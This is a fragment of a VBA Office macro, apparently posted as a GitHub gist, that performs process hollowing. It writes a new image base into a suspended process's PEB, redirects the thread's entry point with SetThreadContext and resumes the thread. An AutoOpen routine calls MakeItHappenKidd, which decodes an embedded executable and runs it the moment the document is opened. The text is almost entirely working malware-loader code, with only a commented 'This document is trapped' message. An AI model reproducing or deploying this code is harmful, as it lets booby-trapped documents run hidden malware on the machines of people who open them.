Call TerminateProcess(structProcessInformation.hProcess, 0)
Exit Sub
Else
If VERBOSE Then
Debug.Print ("..")
End If
End If
Call VirtualFree(ptrImageLocalCopy, structNTHeaders.OptionalHeader.SizeOfImage, &H10000) ' &H10000 = MEM_FREE
Debug.Print ("..")
Dim ptrPEBImageBaseAddr As LongPtr
#If Win64 Then
ptrPEBImageBaseAddr = structContext.Rdx + 16
#Else
ptrPEBImageBaseAddr = structContext.Ebx + 8
#End If
If VERBOSE Then
Debug.Print ("..")
Debug.Print ("..")
End If
lWriteProcessMemory = WriteProcessMemory(structProcessInformation.hProcess, ptrPEBImageBaseAddr, VarPtr(ptrProcessImageBase), SIZEOF_ADDRESS, 0&)
If lWriteProcessMemory = 0 Then
Debug.Print ("..")
Call TerminateProcess(structProcessInformation.hProcess, 0)
Exit Sub
Else
If VERBOSE Then
Debug.Print ("..")
End If
End If
Debug.Print ("..")
Dim ptrEntryPoint As LongPtr: ptrEntryPoint = ptrProcessImageBase + structNTHeaders.OptionalHeader.AddressOfEntryPoint
#If Win64 Then
structContext.Rcx = ptrEntryPoint
#Else
structContext.Eax = ptrEntryPoint
#End If
If VERBOSE Then
Debug.Print ("..")
End If
Dim lSetThreadContext As Long
#If Win64 Then
Call RtlMoveMemory(VarPtr(baContext(0)), VarPtr(structContext), LenB(structContext))
lSetThreadContext = SetThreadContext(structProcessInformation.hThread, VarPtr(baContext(0)))
#Else
lSetThreadContext = SetThreadContext(structProcessInformation.hThread, structContext)
#End If
If lSetThreadContext = 0 Then
Debug.Print ("..")
Call TerminateProcess(structProcessInformation.hProcess, 0)
Exit Sub
Else
If VERBOSE Then
Debug.Print ("..")
End If
End If
Debug.Print ("..")
Dim lResumeThread As Long
lResumeThread = ResumeThread(structProcessInformation.hThread)
If lResumeThread = 1 Then
If VERBOSE Then
Debug.Print ("..")
End If
Else
Debug.Print ("..")
Call TerminateProcess(structProcessInformation.hProcess, 0)
Exit Sub
End If
Debug.Print ("..")
End Sub
Private Sub MakeItHappenKidd()
Dim baSrcFileContent() As Byte
Dim strSrcArguments As String
Dim strSrcPE As String
strSrcPE = PE()
baSrcFileContent = StringToByteArray(strSrcPE)
Call RunPE(baSrcFileContent, strSrcArguments)
End Sub
Public Sub AutoOpen()
MakeItHappenKidd
' MsgBox "This document is trapped."
End Sub
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment